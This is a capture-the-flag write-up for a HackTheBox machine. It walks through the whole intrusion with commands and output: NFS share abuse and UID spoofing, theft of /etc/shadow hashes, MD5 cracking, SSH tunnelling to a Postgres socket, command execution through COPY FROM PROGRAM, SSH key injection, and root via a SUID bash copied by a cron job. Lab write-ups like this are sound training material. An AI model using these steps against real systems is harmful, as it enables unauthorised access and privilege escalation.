# HackTheBox: Sloink Writeup

## Summary

NFS shares exposed the target's home directory and PostgreSQL backups. The user's psql history contained an MD5 hash that cracked to `service`. SSH with that account drops you immediately (shell is `/bin/false`), but port forwarding still works - so we tunneled straight to the Postgres Unix socket and connected as the superuser. From there, `COPY FROM PROGRAM` gave us RCE as postgres. We injected our SSH key and got a shell. For root, a cron job running as root copies the entire Postgres data directory - which postgres owns. We dropped a SUID bash there, waited for the cron to fire, and root handed us a root shell.

**Chain:** NFS leak → MD5 crack → SSH tunnel → Postgres RCE → SSH key injection → postgres shell → SUID bash via cron → root

---

## Recon

```
nmap -A -Pn 10.129.234.160 -oA nmap
```

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
111/tcp  open  rpcbind 2-4 (RPC #100000)
2049/tcp open  nfs_acl 3 (RPC #100227)
```

NFS on 2049 is immediately interesting. We check what's exported:

```
showmount -e 10.129.234.160
```

```
Export list for 10.129.234.160:
/var/backups *
/home        *
```

Both shares open to everyone (`*`). We mount them and enumerate:

```
mkdir -p /mnt/home /mnt/backups
mount -t nfs 10.129.234.160:/home /mnt/home
mount -t nfs 10.129.234.160:/var/backups /mnt/backups
```

```
find /mnt/backups -maxdepth 3 -ls
# → several archive-*.zip files (~4.5MB each, created every minute)

find /mnt/home -maxdepth 3 -ls
# → /mnt/home/service  (UID 1337, permission denied)
```

We can't read the service home directory yet because our local UID doesn't match. We use NetExec to enumerate properly - it also detects a root escape vulnerability on the NFS server:

```
nxc nfs 10.129.234.160 --enum-shares
```

```
NFS  10.129.234.160  [*] Supported NFS versions: (3, 4) (root escape:True)
NFS  10.129.234.160  [+] /var/backups
NFS  10.129.234.160       0   r--   4.5MB   /var/backups/archive-2026-06-28T0446.zip
NFS  10.129.234.160  [+] /home
NFS  10.129.234.160    1337   r--    90B    /home/service/.bash_history
NFS  10.129.234.160    1337   r--   326B    /home/service/.psql_history
NFS  10.129.234.160    1337   r--    96B    /home/service/.ssh/authorized_keys
NFS  10.129.234.160    1337   r--    96B    /home/service/.ssh/id_ed25519.pub
```

The NFS root escape means we can traverse outside the share and read the whole filesystem. We use that to grab `/etc/passwd` and `/etc/shadow`:

```
nxc nfs 10.129.234.160 --get-file /etc/passwd passwd
nxc nfs 10.129.234.160 --get-file /etc/shadow shadow
```

```
cat passwd | grep bash
root:x:0:0:root:/root:/bin/bash
postgres:x:115:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

cat passwd | grep service
service:x:1337:1337:,,,,default password:/home/service:/bin/false
```

The `service` account has `/bin/false` as its shell - it can't get an interactive session. Also note the `postgres` user (UID 115) has a real bash shell.

```
grep '\$y\$' shadow
root:$y$j9T$nHJOa2A9rTXPQi3rqjrDI/$mbo9VYMotfEvj4Va5D7Lv0AOzdHRuMwGf.4nue0pZe3
service:$y$j9T$4gRKP9kqW6NvhFfcFU2mL/$KT6bU.KoVCaBDQjkmUIkni5qWJaCTzScIz4B8XwqT/7
```

Both hashes are yescrypt - slow to crack. We set those aside and focus on the NFS files.

---

## Credential Discovery

To read the `service` home directory, we create a local user with matching UID:

```
groupadd -g 1337 servicegroup
useradd -u 1337 -g 1337 serviceuser
su serviceuser
cat /mnt/home/service/.bash_history
```

```
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit
```

The bash history shows the service user connecting to postgres as the superuser via a Unix socket. We note the socket path: `/var/run/postgresql/.s.PGSQL.5432`.

```
cat /mnt/home/service/.psql_history
```

```
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)
  VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df524c2', 'network access account');
select * from users;
\q
```

There's an MD5 hash in the history. We crack it on CrackStation:

```
aaabf0d39951f3e6c3e8a7911df524c2  →  service
```

Confirmed — the password is `service`.

---

## SSH Access

```
nxc ssh 10.129.24.180 -u service -p service
```

```
SSH  10.129.24.180  22  [+] service:service  Network Devices
```

Creds are valid. But when we actually SSH in:

```
ssh service@10.129.24.180
# (banner appears, then connection closes immediately)
Connection to 10.129.24.180 closed.
```

Expected - `/bin/false` kicks us out. But port forwarding doesn't need a shell. From the bash history we already know the Postgres Unix socket lives at `/var/run/postgresql/.s.PGSQL.5432`. We forward a local TCP port to that socket path on the remote:

```
ssh -N -L 5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.24.180
```

The format is `local_port:remote_socket_path` - SSH listens on port 5432 locally and relays any connection through to the Unix socket on the server side. This runs in the background. In a new terminal:

```
psql -h localhost -p 5432 -U postgres
```

```
psql (18.3, server 14.19)
postgres=#
```

We're in as the Postgres superuser with no password - the database is configured to trust local connections.

---

## PostgreSQL Enumeration & RCE

```
postgres=# \du
```

```
 Role name |                         Attributes
-----------+------------------------------------------------------------
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS
```

Full superuser. We check the databases and find the `service` db:

```
postgres=# \c service
postgres=# select * from users;
```

```
 id | username |             password             |      description
----+----------+----------------------------------+------------------------
  1 | service  | aaabf0d39951f3e6c3e8a7911df524c2 | network access account
```

Nothing new. But as a superuser we can run OS commands:

```sql
create table cmd(output text);
copy cmd from program 'id';
select * from cmd;
```

```
 uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
```

RCE confirmed. We inject our SSH public key into the postgres home directory:

```sql
copy cmd from program 'mkdir -p /var/lib/postgresql/.ssh';
copy cmd from program 'chmod 700 /var/lib/postgresql/.ssh';
COPY cmd FROM PROGRAM 'echo "ssh-ed25519 AAAA...snip... kali@kali" > /var/lib/postgresql/.ssh/authorized_keys';
copy cmd from program 'chmod 600 /var/lib/postgresql/.ssh/authorized_keys';
```

---

## Shell as postgres - User Flag

```
ssh -i /home/kali/.ssh/id_ed25519 postgres@10.129.24.180
```

```
postgres@slonik:~$ id
uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)

postgres@slonik:~$ cat user.txt
[REDACTED]
```

---

## Privilege Escalation

### Finding the cron job

First we run linpeas to get a broad picture of the system. A few things stand out:

```
╔══════════╣ Backup folders
drwxr-xr-x 3 root root 4096 Oct 23 2023 /opt/backups
-rwxr-xr-x 1 root root  392 Oct 24 2023 /usr/bin/backup   ← custom backup script

╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 274 Sep 25 2021 /usr/lib/systemd/system/pg_basebackup@.timer
-rw-r--r-- 1 root root 436 Sep 25 2021 /usr/lib/systemd/system/pg_basebackup@.service
```

We cat `/usr/bin/backup` and see it runs `pg_basebackup` to copy the Postgres data directory as root, then zips it up. Linpeas didn't tell us *when* or *how often* it runs though — no obvious crontab entry was shown. So we pull in `pspy64` to watch for the process in real time:

```
./pspy64
```

```
2026/06/28 09:04:01 CMD: UID=0  | /bin/sh -c /usr/bin/backup
2026/06/28 09:04:01 CMD: UID=0  | /bin/bash /usr/bin/backup
2026/06/28 09:04:02 CMD: UID=0  | /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
```

Root runs `/usr/bin/backup` every minute. Looking back at the script:

```bash
#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
  /usr/bin/rm -rf /var/backups/*
fi
```

It wipes `/opt/backups/current/`, then uses `pg_basebackup` to copy the Postgres data directory (`/var/lib/postgresql/14/main/`) into it - running as root. The data directory is owned by postgres, so we can put anything we want in there before the cron fires.

### The exploit

We copy bash into the data directory with the SUID bit set:

```
postgres@slonik:~/14/main$ cp /bin/bash cbash
postgres@slonik:~/14/main$ chmod +s cbash
```

Wait up to a minute for the cron. When it fires, root copies everything including our SUID bash:

```
postgres@slonik:~/14/main$ ls -lah /opt/backups/current/cbash
-rwsr-sr-x 1 root root 1.4M Jun 28 09:32 cbash
```

Owner is root, SUID bit is set. We run it with `-p` to keep the elevated privileges:

```
postgres@slonik:/opt/backups/current$ ./cbash -p
cbash-5.1# whoami
root
cbash-5.1# cat /root/root.txt
[REDACTED]
```

---

## Attack Chain

```
NFS world-readable shares
        ↓
Read /home/service/.psql_history (UID spoof)
        ↓
MD5 hash → password: service
        ↓
SSH port forward (bypasses /bin/false)
        ↓
Postgres superuser via Unix socket tunnel
        ↓
COPY FROM PROGRAM → RCE as postgres
        ↓
SSH key injection → stable shell + user.txt
        ↓
postgres owns data dir → drop SUID bash
        ↓
Root cron copies SUID bash → root.txt
```

## Key Vulnerabilities

| Vulnerability | Where |
|---|---|
| NFS exported with `*` and no `root_squash` | `/etc/exports` |
| MD5 hash stored in shell history | `/home/service/.psql_history` |
| Postgres superuser with no password (trust auth) | `pg_hba.conf` |
| SSH port forwarding not restricted for `/bin/false` accounts | `sshd_config` |
| Root cron copies from postgres-owned directory, preserving SUID | `/usr/bin/backup` |
